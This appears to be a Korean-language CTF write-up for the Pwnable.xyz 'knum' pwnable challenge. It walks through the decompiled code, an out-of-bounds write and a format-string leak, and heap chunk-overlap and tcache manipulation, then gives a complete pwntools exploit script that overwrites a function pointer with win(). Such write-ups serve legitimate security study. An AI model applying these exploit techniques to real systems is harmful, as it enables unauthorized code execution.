tmxklab
[Pwnable.xyz] knum 본문
1. 문제
nc svc.pwnable.xyz 30043
1) mitigation 확인
모든 보호기법이 다 걸려있고 추가로 stripped파일이다.
2) 문제 확인
5개의 메뉴가 보인다.
선택한 좌표에 임의의 값을 넣을 수 있다.(메뉴 1)
3) 코드흐름 파악
3-1) main() -> init_func()
__int64 init_func()
{
_DWORD *v0; // rax
char *v1; // rax
__int64 result; // rax
field = malloc(0xA0uLL);
reset();
v0 = malloc(0x28uLL);
play_info = (__int64)v0;
v0[5] = 0;
*(_DWORD *)(play_info + 0x18) = 0;
*(_QWORD *)(play_info + 0x20) = graph_func;
menu_info = malloc(0xC8uLL);
memset(menu_info, 0, 0xC8uLL);
v1 = (char *)menu_info;
*(_QWORD *)menu_info = 0x2079616C50202E31LL;
strcpy(v1 + 8, "a game\n2. Show hiscore\n3. Reset hiscore\n4. Drop me a note\n5. Exit\n");
result = play_info;
strcpy((char *)play_info, "KNUM v.01\n");
return result;
}
- 각 전역변수에 malloc하고 값을 세팅해주는 것 같다.
3-2) main() → game()
__int64 game()
{
__int64 result; // rax
char v1; // [rsp+Fh] [rbp-1h]
while ( 1 )
{
print_info();
v1 = getchar();
getchar();
result = v1 - (unsigned int)'1';
switch ( v1 )
{
case '1':
play();
break;
case '2':
show();
break;
case '3':
reset();
break;
case '4':
drop();
break;
case '5':
return result;
default:
puts("Invalid option...");
break;
}
}
}
3-3) play()
unsigned __int64 play()
{
__int64 v0; // rdx
unsigned int x; // [rsp+4h] [rbp-1Ch]
unsigned int y; // [rsp+8h] [rbp-18h]
unsigned int input; // [rsp+Ch] [rbp-14h]
int v5; // [rsp+10h] [rbp-10h]
int score; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
v5 = 1;
setting_info();
while ( 1 )
{
x = 0;
y = 0;
input = 0;
(*(void (**)(void))(play_info + 0x20))();
while ( !x && !y || *((_BYTE *)field + 0x10 * y + x) )
{
__printf_chk(1LL, "Player %d - Enter your move (invalid input to end game)\n");
__printf_chk(1LL, "- Enter target field (x y): ");
if ( (unsigned int)__isoc99_scanf("%d %d", &x, &y) != 2 )
{
v5 = 0;
break;
}
}
if ( !v5 )
break;
if ( x > 0x10 || y > 0xA )
{
puts("Invalid move...");
}
else
{
while ( !input || input > 0xFF )
{
__printf_chk(1LL, "- Enter the value you want to put there (< 255): ");
__isoc99_scanf("%d", &input, v0);
}
*((_BYTE *)field + 0x10 * (0xA - y) + x - 1) = input;
score = get_score();
if ( score > 0 )
{
__printf_chk(1LL, "You scored %d points!\n");
*(_DWORD *)(play_info + 0x14) += score;
}
}
++*(_DWORD *)(play_info + 0x10);
}
update(*(_DWORD *)(play_info + 0x14));
return __readfsqword(0x28u) ^ v7;
}
- 먼저, setting_info()에서 play_info의 score나 round 등 값을 초기화 해줌
- play_info + 0x20에 저장된 graph_func()를 호출함 → 만약 play_info청크를 접근하여 값을 쓸 수 있다면 여기다가 win()넣으면 될 것 같다.
- x, y에 대한 값을 받고 (x, y)좌표에 넣을 input값을 받아서 저장
- ((_BYTE *)field + 0x10 * (0xA - y) + x - 1) = input;
- 최소 값 : x = 0x1, y = 0xa → *filed
- 최대 값 : x = 0x10, y = 0x0 → *filed + 0x10 - 1
- get_score()를 호출하여 좌표에 동일 선상에 있는 값의 합이 1000이 되면 score를 얻을 수 있다.
- ex)
- 마지막으로 update()를 통해 현재 플레이를 통해서 얻은 점수와 기존에 스코어보드에 올라와 있는 플레이어들의 점수를 비교하여 만약에 자신의 점수가 크면 업데이트 시킨다. → score_boad청크에 저장함
3-4) show()
int show()
{
int i; // [rsp+Ch] [rbp-4h]
putchar(10);
puts("Hall of fame - All time best knum players");
puts("#################################################################");
for ( i = 0; i <= 9; ++i )
{
__printf_chk(1LL, "%d. %s - %d\n\t");
__printf_chk(1LL, (char *)score_boad + 0xC4 * i + 0x44);
putchar(10);
}
puts("#################################################################");
return putchar(10);
}
- 모든 플레이어의 score를 보여줌
- for문의 두 번째 __printf_chk를 보면 포맷을 지정해주지 않았기 때문에 fsb 취약점이 존재한다.
- int __printf_chk(int flag, const char* format)
- 스택 검사가 추가된 printf함수로 stack overflow를 확인하여 오버플로가 발생되면 프로그램을 종료시키는 함수
- 정확히는 잘 모르겠는데 foritify옵션이 붙어있어서 %n을 사용할 수 없다고 한다.
3-5) reset()
char *reset()
{
if ( score_boad )
free(score_boad);
score_boad = malloc(0x7A8uLL);
copy_string(0, "Kileak", 1000, "You cannot beat me in my own game, can you? :P");
copy_string(1, "vakzz", 999, "Expected a kernel pwn here :(");
copy_string(2, "uafio", 998, "My knum senses are tingling...");
copy_string(3, "grazfather", 997, "I hope you used gef to debug this shitty piece of software!");
copy_string(4, "rh0gue", 997, "I eat kbbq");
copy_string(5, "corb3nik", 996, "Where's my putine???");
copy_string(6, "reznok", 995, "Did anyone find the web interface by now?");
copy_string(7, "zer0", 3, "Will be a draw...");
copy_string(8, "Tuan Linh", 2, "how can I delete my message here???");
return copy_string(9, "zophike1", 1, "No time to play this game, have to do pwn2own and some kernel pwnz instead...");
}
- score_boad가 존재하면 free해주고 malloc(0x7a8)해준 다음 copy_string()
- 모든 플레이어의 점수랑 이름, 코멘트를 넣어주는 것 같다.
- 제일 낮은 스코어는 1이다.
3-6) copy_string()
char *__fastcall copy_string(int index, const char *name, int a3, char *a4)
{
const char *remark; // [rsp+8h] [rbp-18h]
int score; // [rsp+18h] [rbp-8h]
score = a3;
remark= a4;
strcpy((char *)score_boad + 0xC4 * index, name);
*((_DWORD *)score_boad + 0x31 * index + 0x10) = score;
return strcpy((char *)score_boad + 0xC4 * index + 0x44, remark);
}
- (char)score_boad + 0xc4 * index = name
- (DWORD)score_boad + 0x31 * index + 0x10 = 0xc4*index + 0x40 = score
- (char)score_boad + 0xc4 * index + 0x44 = remark
3-7) drop()
int drop()
{
if ( note_name )
return puts("You already sent me a note, that should be enough...");
note_name = (char *)malloc(0x48uLL);
__printf_chk(1LL, "Enter your note for me: ");
fgets(note_name, 72, stdin);
return puts("Thanks for your input :)");
}
- note_name(전역변수)값이 존재하며 return되고 아니면 malloc(0x48)해준 다음 fgets로 note_name에 72bytes까지 입력을 받을 수 있음
전역 변수)
- play_info : 게임에 대한 정보를 저장함(score, round 등등..)
- note_name : drop()에서 사용됨
- score_boad : 다른 플레이어들의 name, score, remark들이 저장되어 있음
- menu_info : menu 문자열이 저장되어 있음
- filed : x, y좌표에 들어갈 입력 값을 저장함
[ play_info구조 ]
init_func()로 malloc할당받고 추가적으로 game() → play() → setting_info()까지 수행했을 때
[ score_boad 구조 ]
2. 접근방법
game() → play()에서 play_info + 0x20에 저장되어 있는 graph_func()를 win()로 교체하는 방법으로 문제 접근을 해보자
1) game() → play()
우선 여기서 OOB가 발생하는 것을 확인할 수 있다. (x, y)좌표 값을 지정해주고 좌표에 입력 값을 받을 때 위에서 코드 분석한 것에 따르면 (x, y) = (0x10, 0)일 때 filed청크의 마지막에 저장된다.
위 그림을 보면 최소 값과 최대 값에 input값인 0xa가 들어간 것을 알 수 있다. 하지만 최대 값이 저장되는 위치는 다음 청크 즉, score_boad의 청크의 size값을 모두 포함하므로 size값을 조절할 수 있다.
그러면 이제 저기서 x의 값을 0x10대신에 0xa(10)을 주면은 현재 세팅되어 있는 size의 0x7값을 변경할 수 있다.
2) libc leak
score_boad에 있는 플레이어들 중에 제일 낮은 스코어는 1이다. play를 통해 2 points만 얻을 수 있다면 score_boad에 name과 remark를 작성할 수 있다. 그러면 아까 위에서 봤던 fsb를 이용하여 libc leak이 가능하다.
- 2번 메뉴를 통해 모든 score_boad를 출력하는 루틴으로 넘어왔다.
- 현재 위 사진은 내가 score_boad에 추가한 remark를 __printf_chk()로 출력해주기 직전의 스택 상황이다.
- 빨간색 박스로 되어 있는 부분을 릭해주면 libc값을 구할 수 있을 것이다.
3) init_func()실행 후
(gdb껐다 켰다해서 주소 값 달라질 수 있음 구조만 파악 ㄱㄱ)
- 0x555555757208 : play_info청크(size : 0x30, static), 0x555555758ac0
- 0x555555757210 : note_name, 0x0
- 0x555555757218 : score_boad청크(size : 0x7b0, static), 0x555555758310
- 0x555555757220 : menu_info청크(size : 0xd0, static), 0x555555758af0
- 0x555555757228 : field청크(size : 0xb0, static), 0x555555758260
목표는 play_info에서 graph_func()를 win()로 바꾸는 것이며 위에서 알아낸 oob취약점을 이용하도록 한다.
3-1) score_boad 청크의 size 변경 및 free
(x, y, input) = (10, 0, 8)을 주면 score_boad청크의 size를 0x8b0으로 변경시킬 수 있다.
size를 0x8b0으로 변경시키면 밑에 존재하는 청크들(play_info, menu_info)까지 포함된다.
이후에 메뉴 3의 reset()를 이용하여 score_boad청크를 free시키면
score_boad청크부터 밑에 청크 2개까지 전부 다 free되어 있고 unsorted bin에 들어가 있다. → unsorted bin(size : 0x8b0) = score_boad + play_info + menu_info
(size 0x50, 0x90의 free 청크는 일단 신경쓰지 말 것, update_info함수에서 name과 remark청크를 malloc하고 free하는 과정에서 생긴 것)
그리고 다시 score_boad = malloc(0x7a8)을 수행하게 되면
score_boad청크는 unsorted bin에서 0x7b0만큼 떼어서 가져오고 나머지 0x100 size의 free chunk 즉, play_info와 menu_info는 그대로 unsorted_bin에 들어 있다.
이제 저 play_info청크를 재할당할 수 있고 값을 자유롭게 쓸 수 있다면 graph_func()대신에 win함수를 작성할 수 있다.
점수를 올려 다시 update_info()에서 name = malloc(0x40)을 이용하면 된다.
하지만 문제가 있다. 바로 재할당하면은 tcache[3]에 있는 free 청크를 이용하게 될 것이다.
3-2) drop()를 이용하여 tcache[3] 제거
drop()에서 note_name이 존재하지 않으면 note_name = malloc(0x48)을 하므로 이거를 이용해서 tcache[3]을 제거해보자
제거 완료
3-3) update_info()를 이용하여 play_info청크 재할당 및 수정
name = malloc(0x40)실행 전)
name = malloc(0x40)실행 후)
malloc(0x50)만큼 할당된 청크에는 이전 play_info청크의 자리를 그대로 가져올 수 있고 graph_func()의 주소도 그대로 남아있다.
이제 name청크를 이용해서 graph_func()주소 대신에 win()를 넣으면 된다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30043)
def game(x, y, data):
p.sendlineafter("(x y): ", str(x)+" "+str(y))
p.sendlineafter("(< 255): ", str(data))
# 1. play - get 2 points
p.sendlineafter("5. Exit\n", str(1))
for i in range(1, 11):
game(i, 1, 100)
for i in range(1, 11):
game(i, 2, 100)
p.sendlineafter("(x y): ", "A")
p.sendlineafter("(max 63 chars) : ", "A")
p.sendlineafter("(max 127 chars) : ", "%p "*0x10)
# 2. leak libc addr
p.sendlineafter("5. Exit\n", str(2))
p.recvuntil("8.")
leak_addr = int(p.recvuntil("0x70000")[-22:-8], 16)
base_addr = leak_addr - 0xb80
win_addr = base_addr + 0x19fe
log.info("leak addr : "+hex(leak_addr))
log.info("base addr : "+hex(base_addr))
log.info("win addr : "+hex(win_addr))
# 3. modify prev_size(0x7b1 -> 0x8b1)
p.sendlineafter("5. Exit\n", str(1))
game(10, 0, 8)
p.sendlineafter("(x y): ", "A")
# 4. reset
p.sendlineafter("5. Exit\n", str(3))
# 5. drop
p.sendlineafter("5. Exit\n", str(4))
p.sendlineafter(" for me: ", "A")
# 6. play -> insert win() addr
p.sendlineafter("5. Exit\n", str(1))
for i in range(1, 11):
game(i, 1, 100)
for i in range(1, 11):
game(i, 2, 100)
p.sendlineafter("(x y): ", "A")
p.sendlineafter("(max 63 chars) : ", "A"*0x20+p64(win_addr))
p.sendlineafter("(max 127 chars) : ", "B")
# 7. execute win()
p.sendline(str(1))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note v4 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] fishing (0) | 2020.09.09 |
[Pwnable.xyz] PvE (0) | 2020.09.09 |
[Pwnable.xyz] note v3 (0) | 2020.09.09 |
[Pwnable.xyz] door (0) | 2020.09.09 |